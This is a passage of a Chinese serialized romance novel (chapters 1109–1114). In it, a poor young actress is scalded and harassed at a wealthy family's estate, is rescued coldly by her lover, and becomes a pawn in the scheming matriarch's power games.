此刻手背的灼痛成了最鲜活的惩罚,仿佛命运在嘲笑她的不自量力。 你连一杯茶都端不稳,何谈掌控自己的人生? 红肿的伤痕在灯光下扭曲变形,像一道裂开的血口,也像她人生被撕裂的缩影。 她曾以为贫民窟的艰辛是地狱,却不知黎家的“天堂”才是更深的炼狱。 在这里,每一句轻飘飘的“教养”都是凌迟,每一道微小的伤痕都会被放大成罪证。 第1109章 要不要试试换个主人? 佣人们低眉顺眼的恭顺背后,藏着尖利的刀刃,随时准备将她这样的“闯入者”千刀万剐。 她僵立在原地,目光呆滞地扫视四周。 雕花廊柱泛着冷光,波斯地毯的绒毛柔软得令人窒息,每一扇窗棂外的景致都是精心修剪的完美,连一片落叶都不允许存在。 这富丽堂皇的庄园如同巨大的金色牢笼,而她不过是笼中一只被观赏的蝼蚁,连挣扎的姿态都要被评判为“丑陋”。 想要离开?谈何容易。 她被“绑”来时的豪车早已绝尘而去,此刻的她连最基本的自由都成了奢望。 富人区的道路如森严的棋盘,每一格都写着“禁止通行”。 在附近叫车,可这是富人区,这里的人都是直接开车进出,且想要离开这座庄园还有一段距离,就算真的叫了车,车子也进不来庄园。 她必须拖着烫伤的手,徒步走向庄园大门,而那段距离仿佛通往另一个世界的深渊。 她可以想象,沿途的佣人会如何窃窃私语:“看,那个黏着少爷的女人,现在被赶出来了。” 他们的目光会像针尖,刺穿她单薄的尊严,将她钉在“不自量力”的耻辱柱上。 手背的灼痛愈发剧烈,温栩栩咬紧牙关,齿缝间渗出血腥味。 现在的折磨像是精致包裹的毒药,每一口都优雅地腐蚀她的灵魂。 内心的纠葛如绞索,将她勒得几乎窒息。 她恨自己的野心,那如毒藤般缠绕着她的心,驱使她攀附黎云笙,却在得到“庇护”后将她绞杀。 她曾以为自己是斗士,用卑劣手段换取资源,可真正踏入黎家的门后,她才明白自己不过是只纸老虎,一戳就破。 烫伤的手背成了最讽刺的镜子,映出她溃烂的内心。她甚至不敢想象,若黎云笙得知她此刻的狼狈,会露出怎样的嗤笑。 或许他会轻描淡写地丢下一句“咎由自取”,然后继续在权贵的棋局中游走,将她当作一枚弃子。 而她连质问的勇气都没有,只能如丧家犬般逃离这座吞噬她的庄园。 挣扎中,她踉跄撞上廊柱,手背的伤口蹭到冰冷的石面,剧痛如电流窜遍全身。 她终于忍不住发出呜咽,声音却迅速被自己掐灭,在这座庄园里,眼泪与软弱只会成为他人茶余饭后的笑料。她必须保持那副“体面”的假面,哪怕面具下早已血肉模糊。 温栩栩终于拖着烫伤的手,蹒跚走向庄园大门。大理石地面在脚下延伸,每一块都似刀刃,割裂她的自尊。 远处佣人的身影如幽灵般晃动,窃笑声随风飘来,她甚至能想象那些嘲讽的话语:“瞧她那样子,还以为能飞上枝头变凤凰呢。” “黎家可容不下这种货色,迟早被碾碎。” “也不看看自己长了一副什么模样,狐狸精一样,还妄想攀高枝呢。” 温栩栩咬着下唇,眼底都带上了几分戾色。 她很想说点什么反驳,但事实却是……她却是最初想要利用黎云笙达到自己的目的。 即便没想过嫁入黎家,但确实是用尽手段且成功了。 她拿到了黎云笙的黑卡,拿到了大笔的投资,能够出演自己为主角的剧,这都是黎云笙带给她的。 所以现在只是被骂几句,她还能够忍。 跑车引擎的轰鸣声逼近,轮胎与地面摩擦的尖锐声响刺破寂静。 黎远航从车中跨出,一身朋克装束如暗夜中的荆棘,银钉在耳垂闪烁,冷冽的光泽与他白净的肤色形成诡谲的对比。 他并非传统意义上的俊朗,而是带着一种被放纵欲望浸透的邪魅,浓眉斜挑如刀锋,眼底的玩味像毒蛇吐信,薄唇勾起时,唇角弧度透着掠夺者的势在必得。 这副相貌本该是令人惊艳的,却因常年浸在奢靡中的腐朽气息,显得如同被蛀空的朽木,徒有其表。 “你就是黎云笙的女人?”他嗤笑出声,尾音拖得慵懒而黏腻,仿佛每一句话都裹着浓重的酒意。 温栩栩后退半步,鞋跟碾过碎石的声响成了她唯一的退路。 黎远航却步步紧逼,皮鞋踏碎她投在地上的影子,“不过是个上不得台面的玩意儿,我弟弟也真够没意思的,居然能忍你这么个货色。” 他凑近时,香水与烟味混合的浊气扑面而来,熏得她眼眶发酸。 温栩栩攥紧掌心,烫伤的手背在袖中抽搐,疼痛成了她保持清醒的最后一根锚。 黎远航的眼底泛起更深的兴致,像发现新玩具的孩子。 他指尖掠过她发梢,动作轻佻如调戏猫儿的恶童,“跟着黎云笙多没意思,他又古板又无趣的,肯定没有我知情趣。”温栩栩的脊背抵上冰冷的围墙,再无退路。 他贴近耳畔的低语带着蛊惑的毒,“你想要的我一样会给你,资源、地位、甚至……更刺激的玩法。怎么样?要不要试试换个主人?” 是的,“主人”两个字冒出来,黎远航的心思有多肮脏就完全清楚了。 他根本没把温栩栩当成人来看待,只将她看作是宠物那般。 温栩栩的瞳孔骤缩,喉间涌出腥涩的恶心感。 来人是黎云笙同父异母的私生子哥哥,黎远航, 黎家私生子,流着黎父的血,却因出生污点被永远隔绝在权力核心之外。 这个被放逐的“纨绔”,在世人眼中不过是黎家可笑的陪衬,但正因如此,他活得比谁都肆意,情妇成群,丑闻缠身,却无人敢真正制裁。 这人就是黎父出国旅游在游轮上跟上面的舞女滚到一起才有的私生子,所以名字也就被黎父起了个“远航”。 他年龄比黎云笙还要大几岁,但只会吃喝玩乐吃客标准的纨绔子弟,不过因为流着黎家人的血,再加上也不会是黎家未来的继承人,所以也没有人管这位少爷在外面有多少女人。 可以说只要这位少爷不想着争家产继承黎家,他就能一辈子安稳度日。 黎远航的手滑向她腰际,力道暧昧而危险。 第1110章 黎家的事,到此为止 温栩栩猛然侧身闪避,却被攥住手腕。 烫伤的手背暴露在空气中,红肿的伤痕如一道裂开的血色花瓣,黎远航的指尖在那伤口上摩挲,竟笑出声。 “啧啧,黎云笙连这伤都懒得管?看来你也没那么重要嘛。”他俯身逼近,呼吸喷洒在她耳畔,“不过这样更好,跟我玩,我保证让你尝到真正被宠的滋味。” 温栩栩的挣扎在对方铁钳般的手掌中显得无力,屈辱感如潮水淹没她。 她的指甲深深掐进掌心,疼痛激出最后一丝清醒。 妥协吗?如果顺从黎远航,或许能暂时逃离黎家的审视,或许能继续攫取资源……但那样,她便彻底沦为权贵游戏的玩物,连最后一丝尊严都将碾碎。 更何况,对这种卑劣的人妥协,她都怕自己被染上什么脏病。 太恶心了。 是真的觉得恶心,她好像只能容忍自己接受黎云笙,而不是这种肮脏的男人。 不,她不要。 温栩栩的喉间迸出一声低吼,猛然甩开黎远航的手。 烫伤的手背被扯动,剧痛如电击窜遍全身,她却像被激怒的困兽,踉跄着冲向庄园大门。 黎远航的咒骂声在身后炸开,跑车再度疾驰拦在她面前。 他扯住她发丝,力道狠戾得让她头皮发疼,“贱人,你别给脸不要脸?”温栩栩死死咬住唇,血腥味在口中蔓延。 “滚开!”她嘶声咆哮,音调破碎如玻璃。 黎远航愣了片刻,随即笑得更大声,眼底却泛起阴鸷的怒意,“有意思,够野。不过越是难驯的,驯服起来才越有趣。” 他再度逼近,温栩栩却忽然抓起地上的碎石,用尽全力砸向他车窗。 玻璃碎裂的声响惊得他后退,她趁机狂奔,温栩栩跌跌撞撞跑过庄园长廊,脚步声在空旷中回荡,黎远航的跑车仍在身后咆哮,她甚至能听见他咒骂着要“抓回这贱人”。 冷汗与泪水混在一起,滑过脸颊,烫伤的手背在奔跑中蹭出血痕,疼痛却成了她唯一的救赎,至少此刻,她还在抵抗,还在挣扎。 她突然就明白了黎老夫人的深意。 老夫人根本没想过放过她。 她大概是算准了黎远航这个时间回老宅,所以故意让他们遇到,她知道黎远航最好美色,所以黎远航是一定会凑上来纠缠她的。 这一切都是黎老夫人算计好的。 她忽然停步,扶着廊柱剧烈喘息,喉间涌起的呕意几乎让她跪倒在地。 手背的灼痛与内心的撕裂交织成一张密不透风的网,将她困在求生与求死的深渊之间。 跑车引擎的轰鸣声如野兽咆哮,温栩栩狂奔的脚步声尚未远去,黎云笙的黑色跑车已如一道暗夜闪电疾驰而来。 轮胎与地面摩擦的尖锐声响刺破寂静,车头精准而狠戾地撞向黎远航的跑车,金属碰撞的巨响震得空气颤动。 黎远航的车被猛地掀退,他未系安全带的躯体惯性前冲,头颅重重撞上车窗玻璃,鲜血瞬间从额角迸裂,蜿蜒如毒蛇爬过苍白面颊。 剧痛如电击穿透颅骨,他眼前一片猩红,耳鸣声中混杂着跑车警报的刺耳尖叫。 “疯了!谁敢这么对本少爷!”黎远航踉跄着爬下车,咒骂声裹着血腥气喷溅而出。 他捂着渗血的额头,发丝凌乱如疯草,怒目扫视肇事者。 然而当视线对上黎云笙跨出车门的瞬间,所有嚣张如被掐灭的烛火,喉间的咒骂哽在喉间,化作一声虚弱的喘息。 是黎云笙,那个他骨子里畏惧的黎家真正的继承人,此刻正以阴鸷的眉眼俯视着他,仿佛在看一具死尸。 黎远航的脊背瞬间沁出冷汗,掌心在裤缝处颤抖。 在黎家,他可以是天不怕地不怕的纨绔,挑衅老夫人的规矩,挥霍家族资产,甚至在私底下咒骂黎云笙的冷血。 但每当真正对上那双冰渊般的眼睛,他便会想起自己卑贱的出身。 游轮上的舞女与黎父一夜荒唐的产物,永远被刻在“私生子”烙印上的耻辱。 他清楚,黎云笙只需动动手指,便能让他所有肆意化为泡影。 黎云笙缓步逼近,皮鞋踏过碎石的声响如死神的倒计时。 他并未言语,只是将黎远航衣领猛地攥住,力道之大仿佛要将布料撕碎。 黎远航踉跄后退,额头的伤口再度裂开,血珠滴落在地,他却不敢挣扎,那双眼睛正死死盯住他,瞳孔深处翻涌着暴戾与鄙夷,仿佛在看一只试图撕咬狮王的野狗。 暴走的情绪在黎云笙周身沸腾,他扯着黎远航拖行数步,直至将他狠狠抵在跑车引擎盖上。 “滚。”终于,黎云笙开口,声音冰冷。 黎远航瞳孔骤缩,却不敢反驳。他知道,此刻若激怒这尊阎王,那些“安稳度日”的承诺都会成为空谈。 私生子的命,在黎云笙眼中比蝼蚁更低贱。 他咬牙咽下屈辱,踉跄着爬回自己残破的车,发动引擎时,手指因颤抖几乎握不住方向盘。 后视镜中,黎云笙的身影如黑影矗立,直到跑车绝尘而去。 黎远航逃离的背影狼狈如丧家犬,而黎云笙却始终未移开目光。 指尖残留的血迹在路灯下泛着暗红,他低头扫了一眼,片刻后温栩栩的喘息声从廊柱阴影中传来,他侧眸望去,她蜷缩的身影如破碎的瓷娃娃,烫伤的手背十分明显。 他喉间涌起莫名的情绪。 是厌恶?是怜悯?或是更深层的恼怒? 厌恶的是黎远航,怜悯的是温栩栩,至于恼怒……是对自己恼怒。 愤怒于自己根本无法庇护自己像庇护的人。 但思绪不过刹那,他转身走向温栩栩。 她抬头时,瞳孔里仍残留着惊惧,仿佛刚逃出兽口的猎物。 黎云笙递出手帕,动作机械如执行程序,“擦血。” 温栩栩怔愣片刻,颤抖着接过。布料触到伤口时,刺痛激出她一声闷哼。 他蹙眉,却未收回手,只是冷声道:“黎家的事,到此为止,后面我都会解决好。” 她抬眼望向他,却见他眼底毫无温度,仿佛方才暴戾撞车的不是他,好像他也完全没想过帮她做什么事,只是偶然。 第1111章 这不是你想要的吗 此刻的黎云笙对温栩栩而言,陌生得仿佛隔着一片冰封的荒原。 他居高临下矗立在她身前,那双眼眸冷得令人窒息,像寒冬里凝结的琥珀,将她彻底隔绝在千里之外的冰窖。 这眼神分明与初次相遇时如出一辙。 此刻重逢,身份的沟壑依旧横亘如山,他是云端之上的黎家继承人,而她不过是泥泞中挣扎的野花,美艳却贫瘠,连根系都浸着卑贱的污水。从始至终,他们都不曾匹配,那些缠绵的夜晚不过是她痴心妄想的泡影。 眼眶突然泛起潮热,温栩栩咬住唇瓣,将泪意死死压回喉间。 温栩栩望着他,不知怎么突然眼眶就红了,她知道自己这样挺矫情的,但就是,很在意啊。 怎么突然就变成另一个人了呢? 此前前的黎云笙还会在深夜拥她入怀,而今,他连目光都吝啬施舍,仿佛多看一秒都会玷污他高贵的瞳孔。 佣人们鱼贯而入,搬来沙发、医药箱,动作恭敬如朝圣。 黎云笙的存在如无声的诏令,瞬间抬高了她的“身份”,有人为他斟茶,瓷盏在灯光下泛着琥珀光泽,热气袅袅升腾,却刺痛了温栩栩的记忆。 她猛地别开视线,手背的灼痛再度袭来。 “我让阿炎来接你回去。” 他开口的是命令的话,说完这话并没有马上离开,仍然站在一旁,许是因为他在,有佣人和保镖搬了沙发还带了医药箱。 似乎是因为黎云笙的存在,她的身份也水涨船高起来。 已经有佣人泡了热茶为黎云笙倒好,温栩栩只看了一眼便移开目光。 现在看到热茶就会想到自己被黎老夫人用热茶烫手背的事,手背都会有股尖锐的疼痛感。 “再等等,阿炎二十分钟后到。”黎云笙垂眸瞥向腕表,语调如机械报时,冷漠得听不出丝毫情绪。 他指了指医药箱,命令式的话语与往昔的缱绻形成刺耳的割裂。 温栩栩沉默着打开药箱,碘伏棉签在指尖颤抖,笨拙地涂抹伤口。 那晚她说出“不要再纠缠”,他便真的如断线风筝般抽离,连多一眼流连都成了奢侈。 此刻他甚至连为她擦药的姿态都懒得伪装,是厌恶了?清醒了?还是终于不屑于这场游戏? 温栩栩的动作越来越迟缓,棉签在红肿手背上画出颤抖的弧线。 酸涩在胸腔里发酵成苦酒,她忽然嘲讽地笑了。 自己竟天真到相信男人的感情,尤其是黎云笙这样浸在权力血池中的男人。他的温柔不过是驯服猎物的糖衣,一旦她露出倦态,他便迅速抽身不会有任何的损失。 佣人斟好的茶仍在桌边散发着热气,她盯着那袅袅白雾,恍惚看见自己扭曲的倒影,一个妄图用卑贱换取高贵的蠢货,被现实烫得满手血泡,却仍不肯承认溃败。 药箱里的纱布忽然被抽走,黎云笙的手指在触及她手腕时带起一阵颤栗。 她惊愕抬头,却见他正将纱布缠上她的手背,动作利落如包扎战场伤员。 他的触碰带着体温,却毫无温度,仿佛在完成一项无关情感的流程。 温栩栩喉间的自嘲哽得更深,连怜悯都成了例行公事,这是否意味着她连“被厌恶”的资格都失去了? “别让疤痕增生。”他淡淡开口,声音里听不出半分关切,更像对易碎物品的警告。 温栩栩突然觉得荒谬至极。他怕的不是她的疼痛,而是疤痕影响他“所有物”的观赏价值吧? 那些曾让她沉溺的拥抱、亲吻,不过是权力者施舍的残羹,而她竟以为那是爱。 暮色渐浓,庄园的灯火在两人之间投下斑驳阴影。 温栩栩蜷缩在沙发角落,黎云笙的身影占据了她全部视野,却遥远得像海市蜃楼。 他让她看清了所有幻想的虚妄,却又不彻底摧毁她,而是将她悬在绝望的边缘,像观赏困兽般等待她自我溃散。 佣人端着茶盏退下时,瓷盏与托盘的轻响如死寂中的丧钟仿佛无时无刻都在提醒着她,在这吃人的阶级游戏中,她永远是被玩弄的棋子。 泪水终于无声滑落,温栩栩用未受伤的手背擦去泪痕。 酸涩褪去后,某种尖锐的清醒在胸腔生根。她不再奢望黎云笙的温情,也不再自欺那些缠绵是真心。 但这份清醒却带来了更深的痛苦,若连利用价值都被剥夺,她该如何继续攀爬?若连卑贱的筹码都失效,她是否只能坠回泥泞? 黎云笙始终静立一旁,腕表指针的跳动声成了唯一的声响。 温栩栩忽然恨极了他这副模样。 高高在上,掌控一切,连施舍怜悯都成了居高临下的恩赐。 温栩栩攥紧拳头的动作在寂静中显得突兀,指尖掐进掌心,刺痛却盖不过喉间的哽塞。 她未抬头,声音沙哑:“黎云笙,你不觉得你这样太狠了吗?”质问裹着颤音,仿佛一片脆弱的冰,随时会在对方的沉默中碎裂。空气凝固了数秒,黎云笙的身影始终如雕像般矗立,终于,他开口,音节如冰棱刺入耳膜:“这不是你想要的吗。” 一瞬,温栩栩的胸腔被这句话凿出空洞。 是的,她曾无数次在深夜蜷缩在被褥里,祈祷他远离,渴望挣脱这窒息的权贵牢笼,过普通人自由的生活。 如今他如她所愿抽身,她却为何觉得被剜去了一块血肉? 对啊,这不就是她想要的吗? 可为何酸涩如毒藤缠上心脏,绞得她近乎窒息? 她想要笑自己矫情,笑这世间哪有“全随她性”的奢望,却又被泪意哽住喉咙,连自嘲都成了奢侈。 暮色彻底吞没了庄园的轮廓,唯有路灯在两人之间投下冷光。 黎云笙的影子将她笼罩,却遥远得像隔着千山。 她忽然想起他第一次吻她时,指尖抚过她烫伤的手背。 而今,他连一句虚情都懒得施舍,仿佛她已是过期弃物。 权力者的温情,原不过是驯服猎物的饵,而她竟天真到吞下毒钩,还妄图尝出甜味。 第1112章 哪配沾我们黎家的边 远处引擎声由远及近,盛景炎的车子碾过碎石驶来。 盛景炎是带着许愿一起来的,还跟着个薛酒,起因是他们晚上在谈合作方案的事,盛景炎就是这个时候接到了黎云笙打来的电话。 他觉得许愿和温栩栩有些投缘,就向许愿询问是否愿意一起来,许愿自然答应了,可薛酒担心许愿被欺负一定要跟来,这才导致三人一起来的。 大家都是这圈子里的人,许愿只是看一眼便猜到大抵是黎家人跟温栩栩谈了点什么外人不能听的,多半就是让她认清楚自己的身份这类的话,也不会有其他更有营养的话题了。 直到温栩栩上车,黎云笙都没再说什么。 盛景炎掀了掀眉,只打了声招呼便开车走了。 旁人不懂,他却是懂的。 黎云笙如果真不在乎,也不会特地打电话让他来接人了,这是明摆着让黎家人知道温栩栩这边还有他护着呢,就算真想做什么也要看在他的面子上收手。 再者,这附近是真的打不到车,温栩栩是不好离开的。 三人到来时,温栩栩仍蜷在角落,目光滞怔地望着手背的绷带,仿佛那层纱布正缓缓勒紧她的呼吸。 盛景炎掀眉瞥向黎云笙,两人交换的视线不过刹那,却足够传递所有讯息。 “上车吧。”盛景炎的声音打破僵局,温栩栩机械般起身,经过黎云笙时,终忍不住侧眸。 他仍立于原地,西装在夜风中微颤,目光却冷得像冻结的湖,毫无波澜。 她曾在这双眼中见过炽热、占有、甚至罕见的温柔,而今却只剩漠视,仿佛她不过是路边一粒无关紧要的尘埃。 她咬唇咽下所有情绪,钻进车内。 车门闭合的声响,像割断两人之间最后一丝牵连。 盛景炎启动引擎时,瞥了眼后视镜中黎云笙的身影。 那人未动,却有种无形的威压笼罩车身,仿佛他随时能掐灭这逃离的轨迹。 盛景炎轻笑出声,黎云笙的冷漠不过是场戏,若真不在乎,何需他亲自来电? 这电话是警告,是给黎家人的锁链,也是给温栩栩的最后一道护盾。 “阿笙最近在筹备集团海外分部的重组,黎家盯得紧,分身乏术。”盛景炎忽然开口,声音裹着三分调侃。许愿在后座蹙眉,温栩栩却怔住,筹备重组?这是否意味着黎云笙近日的冷漠,并非出于厌弃,而是家族压力? 薛酒嗤笑一声:“黎家人恨不得把黎云笙榨成干尸来用。”话虽粗鄙,却透出真相。 车内陷入沉默,唯有许愿轻声安慰:“栩栩,别太往心里去。” 她不知道发生了什么,但这种时候很多事情不好直接开口过问,只能安慰。 温栩栩苦笑摇头,目光却始终胶着在车窗外的夜色。 黎云笙的身影早已消失,但她仍觉得那冰刃般的目光仍在身后刺穿她的脊梁。 或许盛景炎所言不假,他的疏离是保护,是权谋。 可为何,她宁可相信他是真的厌了,也不想接受这“保护”的冰冷?至少前者让她能恨,后者却让她连恨都成了自我羞辱。 温栩栩蜷缩在角落,绷带下的手背仍在灼痛,却不及心口的裂口深。 薛酒在后座翻弄手机,许愿则默默递来温水。温栩栩接过水杯,指尖触到温度时,恍惚想起黎云笙曾为她暖过的手。那些过往如碎玻璃扎进记忆,她猛地闭眼,将水杯攥紧。 暮色渐深,庄园彻底隐入黑暗。 黎云笙仍立在原地,直至车尾灯消失。 他垂眸瞥向腕表,却第一次因等待而多出几秒的迟滞。 温栩栩的质问声仍在耳畔萦绕,他清楚,那“狠”不过是生存的法则,若他显露半分软弱,她便会成为黎家权力绞杀下的蝼蚁。 私生子的挑衅、老夫人的审视、集团内外的虎视眈眈…… 这一切都不是温栩栩能接受的。 所以就该像她说的早说清楚不再纠缠的好。 冷风掠过脖颈,他转身走向自己的跑车。 引擎发动时,他瞥见温栩栩曾蜷缩的沙发角落,佣人未及清理的医药箱散落一地,碘伏棉签上的血迹刺痛了他的瞳孔。 可到底还是没说什么,驱车离开。 黎远航的跑车如一道癫狂的箭矢开向黎老夫人的别墅,轮胎碾过碎石的声响与他胸腔的愤恨共振。 他冲进房间时,皮鞋在昂贵地毯上留下凌乱的印痕,发丝凌乱如疯草,额角的血渍未干,却已扑过去向老夫人撒娇。 黎老夫人端坐在檀木佛龛前,佛珠在她枯槁的手指间流转,檀香袅袅如权谋的烟雾,将一切喧嚣隔绝在慈悲表象之外。 “奶奶!您可要为我做主啊!”黎远航嚎哭扑向沙发,滚地撒泼的戏码演得娴熟。 他刻意夸张的表演哭诉“那黎云笙简直疯了!就为了个女人,他连亲兄弟的脸面都不顾了!传出去,外人还以为我们黎家没规矩,连自家兄弟都能随便动手呢!我这张脸,以后还怎么在圈子里立足?”他抽噎着抹眼角,实则一滴泪也无,眼底全是算计的精光。 黎老夫人转动佛珠的动作未停,嘴角却漾起虚假的慈笑。 她太清楚这个私生子的把戏,黎远航的“乖”与“疯”皆是筹码,专为从她这儿榨取庇护。 但她乐得养着这废物,正如花园里总要养几株畸形花来彰显园主的高贵。废物有时候也是有用处的,比如此刻,黎远航的哭诉正为她递来一柄刺向黎云笙的刀。 “阿笙确实过分了些。”她终于开口,语调绵软如毒蛛吐丝,“一个女人罢了,怎值得兄弟反目?”黎远航瞬间支棱起身,脊梁挺得笔直,仿佛老夫人的话是金箔诏令。 他殷勤为老夫人捶肩,力道刻意放轻,指尖却在捶打时暗戳她肩胛穴位,这是他从按摩师那儿学来的讨好伎俩。 “奶奶说得对!那温栩栩不过是从贫民窟爬出来的臭虫子,勾引云笙也就算了,还敢狐媚惑人挑拨我们兄弟!这种下贱胚子,就该扔去扫大街,哪配沾我们黎家的边?” 第1113章 黎家的脸面比什么都重要 “不过奶奶,我觉得云笙眼里是越来越没有您了,我是不可能继承黎家的,所以这才放任自己在外面胡闹的,可黎云笙跟我可不一样,他未来可是要接手黎家的,怎么能跟那些随随便便的人谈情说爱,传出去,不知道多少人说我们黎家人没有教养了,倒显得奶奶你不会教孩子了,奶奶您多冤。” “我们黎家的孩子,哪个不知道奶奶您对云笙是最偏宠的,他自己到了年纪叛逆,可就算要谈那也要找个身份能匹配得上的,哪怕是那个小明星苏婉好歹也是落魄千金呢,那温栩栩算是什么?贫民窟里面爬出来的一只臭虫子罢了,为了这么一只虫子跟我生气,他总不能真的跟一只虫子动什么感情,传出去,让人笑掉大牙了。” 提及苏婉时,他刻意抬高苏婉落魄千金的身份,将温栩栩踩入泥尘。 “苏婉好歹也是正经世家出身,温栩栩算什么?她连给苏婉提鞋都不配!云笙哥哥要是真跟她纠缠,外人还以为我们黎家没教养,连门第都不顾了,到时候奶奶您的脸往哪儿搁?” 黎远航在这里阴阳怪气。 黎老夫人听到他用虫子来形容温栩栩也完全不生气,好似在老夫人心里也是这样想温栩栩的,她面上仍然带着和善的笑意转动佛珠。 黎远航还想说点什么,其实心里就是馋温栩栩。 他爱玩只喜欢玩,也确实是喜欢美色,温栩栩长成那样,他真的很难不对温栩栩有点别的想法,也就是今天黎云笙来得快,但凡黎云笙来晚一点,他都要得逞了。 他才不在乎温栩栩是不是跟过黎云笙,只要长得好看的,管她是不是自己弟弟的人,看上了那就是自己的。 黎老夫人的笑意渐深,佛珠转动愈发急促。 她凝视黎远航眼底的贪婪,恍若看见一具等待腐化的尸体。 黎远航的基因低劣,身体被酒色掏空,但她仍留着他,正如留着一枚随时可引爆的炸弹。 废物有时候比利器更有用,比如此刻,这枚炸弹正愚蠢的想冲向黎云笙。 “你父亲当年荒唐,这才有了你。”她忽而开口,声音如冰刃刮过黎远航耳膜,“但黎家的血总归是黎家的,阿笙如今行事愈发离经叛道,你作为兄长,也该提醒他分寸。”黎远航脊背一凛,这话分明是授权。 老夫人默许他继续挑衅黎云笙,甚至煽风点火。 他喉间涌起狂喜,捶肩的动作愈发殷勤:“奶奶放心,我会好好‘提醒’云笙的!他若再为那贱女人疯魔,我定让他明白,黎家的脸面比什么都重要!” 佛龛上的观音像垂目慈悲,却照不亮这暗室的冷酷。 黎老夫人转动佛珠的指尖泛着青灰。 她怎会不知黎远航的诬陷?温栩栩的出身早被她查得透彻,但这份“卑贱”恰恰是她需要的,如同养蛊时特意挑选的腐肉,只为喂养黎远航这类废物,让他们在自相残杀中维持家族表面的“高贵”。 黎云笙的暴走撞车、温栩栩的逃离,这些在她眼中不过是蝼蚁的挣扎。 她真正忌惮的是黎云笙正逐渐挣脱她的锁链,而温栩栩不过是她扣住他的又一枚铁钉。 黎远航此刻泼的脏水,正合她心意,让私生子去撕咬正牌继承人,她只需端坐云端,观两败俱伤。 “教养?”她轻笑,佛珠忽停,眼底迸出阴鸷,“黎家的教养,从来不是给外人看的。” 黎远航听懂了这话的深意,老夫人的偏宠是毒药,黎云笙的叛逆是死罪。 他立刻谄媚附和:“奶奶说得对!云笙哥哥要是再被那贱人迷惑,我可真得‘好好管教’他了!”他故意将“管教”二字咬得阴狠,仿佛已看见温栩栩被碾碎的骨头。 黎老夫人的目光掠过他亢奋的脸,转而望向窗外夜色。 黎云笙的跑车曾碾过的那片碎石地,此刻正泛着冷月的光。 她突然想起二十年前,黎云笙的母亲跪在这房间求她,泪珠摔碎在地毯上,而她只是转动佛珠,默许管家将那女人拖出黎家。 慈悲?她从不信这虚妄的词,唯有权柄与血脉,才是永恒的真理。 黎远航终于得了老夫人的“圣旨”,脊梁挺得如获胜的鬣狗。 他离房时,皮鞋再次在地毯上践踏出猖狂的印痕。 温栩栩?那只臭虫子,很快就会被碾成齑粉。 他已构思好如何“管教”她,先折断她的傲骨,再逼她跪在黎云笙面前求饶,届时黎云笙的高贵也会被耻辱撕碎。想到黎云笙可能因女人沦为笑柄,他胸腔的恨意竟化作癫笑。 而黎老夫人在房门闭合后,佛珠再度流转。 她忽然召来管家,低声吩咐:“盯着黎远航,他若敢对温栩栩出手暂且先拦下,不过如果是温栩栩自甘堕落,你们也要掌握好证据,是她自己下贱,怨不得我们。”管家躬身领命。 她嘴角的笑意更深,黎远航的疯狗撕咬必须控制在她的棋局内,温栩栩这只臭虫子,还得留着激黎云笙的逆鳞。 权力者的慈悲,不过是锁住猎物的铁链。 管家尚未踏出房门,沉重的橡木门已被猛然推开。 黎云笙已经闯入,眉峰凝着霜色,目光如淬冰的刀刃直刺向佛龛前的老夫人。檀香在骤风中颤动,佛珠转动的声响忽被这闯入的锋芒割裂。 老夫人缓缓抬眸,对上他瞳孔中的凛冽,嘴角却仍漾起虚假的慈笑,仿佛一尊永不碎裂的慈悲观音。 “这般火急火燎,莫不是出了什么了不得的大事?”她的语调绵软如蛛丝,指尖却暗自攥紧了佛珠。 黎云笙立在门槛处,脊梁挺得笔直,西装在风尘中仍泛着冷硬的质感,恍若一座永不崩塌的冰山。 他太熟悉这房间,檀木雕花的佛龛、鎏金佛像垂目的伪善、地毯上那些被岁月磨平的痕迹,每一寸都浸染着权力者虚伪的慈悲与血腥的权谋,完全对应上黎老夫人。 第1114章 她的价值,由我决定 “温栩栩是我的人,我不会允许黎远航碰她。”他的声音冰冷执拗。 老夫人眼底的冷意骤然凝结,佛珠转动的节奏愈发急促。她凝视这个由她亲手养大的孙子,看他眉宇间与她相似的孤傲,却更锋利如刃。他本该是她最完美的傀儡,却在她编织的权力网中生出逆鳞。 “阿笙,你跟我说这些,究竟是真心喜欢那丫头,还是想报复她?”她倏地轻笑,笑意却未达眼底,如冰面上浮起的薄雾。“你该知晓,黎家的继承人,婚姻从来不是由心而生。你选的、你说的,在家族面前,皆是虚妄。” 佛珠在她掌心发出沉闷的摩擦声,仿佛某种古老的咒语,试图将叛逆的灵魂重新捆缚于枷锁。 黎云笙的瞳孔未泛起一丝涟漪。 他望向佛龛上垂目的观音像,想起幼时老夫人曾在此处教他诵经,那时她告诉他,慈悲是权力的伪装,而佛珠是锁住人心的锁链。 而今,这锁链正试图绞住他的咽喉。 “黎家的资源、教育、地位,我从未拒绝。”他声音平稳如寒潭,“但黎家的规矩,不该凌驾于人性之上。” 老夫人的笑意渐僵,佛珠戛然止住。 她直视黎云笙眼底的深渊,也能感受到他眼底的凉意。 “你享受了黎家的一切,就该回馈黎家。”她语调陡转凌厉,檀香在窒息的空气里凝成实质,“温栩栩不过是贫民窟的泥虫,她能给黎家带来什么?苏婉那落魄千金尚有世家血脉,她连提鞋都不配!你若是执意与她纠缠,外人只会耻笑黎家继承人失了心智,连门第都不顾!” 黎云笙的视线如刀刃剜向她虚伪的慈眉,喉间却涌起酸涩。 他何尝不知老夫人的算盘?她养着黎远航这类废物,只为制造分裂的裂痕,她默许私生子的挑衅,只为钳制他的锋芒。 温栩栩于她而言,不过是测试他驯服度的工具,是刺向他逆鳞的毒针。 “她的价值,由我决定。”他终是开口,字字冰冷,“而非黎家,亦非你。” 室内陷入死寂,唯有佛珠骤停后的余音颤巍巍的在空气中嗡鸣。 老夫人的目光如冰刃刮过黎云笙的面颊,她突然有些怀念幼年时期的黎云笙,那时她说什么黎云笙便听什么,何曾像现在这样,事事都要跟她对着干。 “阿笙,你太令我失望了。”她忽而叹惋,语调裹着绵毒的叹息,“你母亲当年若知晓你会这般叛逆,怕是当年也不会求到我面前让我将你养大。”黎云笙瞳孔骤缩,脊梁却未颤分毫。 他何尝不知她提及母亲的深意? 老夫人惯用旧疤作刃,剜向血脉相连的痛处。 “黎家的血脉,不该被感情蒙蔽。”她继续循循善诱,佛珠再度流转,如绞索般一圈圈收紧,“你未来的伴侣,需为黎家开拓政商脉络,需为家族延续‘高贵’的血统。温栩栩?她除了给你添辱,还能做什么?一个孤儿院出身的孤女,她生来便带着卑贱的烙印,你与她纠缠,只会让黎家的百年声誉蒙尘!” 黎云笙的喉间溢出冷笑,笑意却冻在唇角。 他望向老夫人枯槁的手指,那曾为他系上学堂领带,却也在他母亲葬礼上掐灭最后一盏香烛。 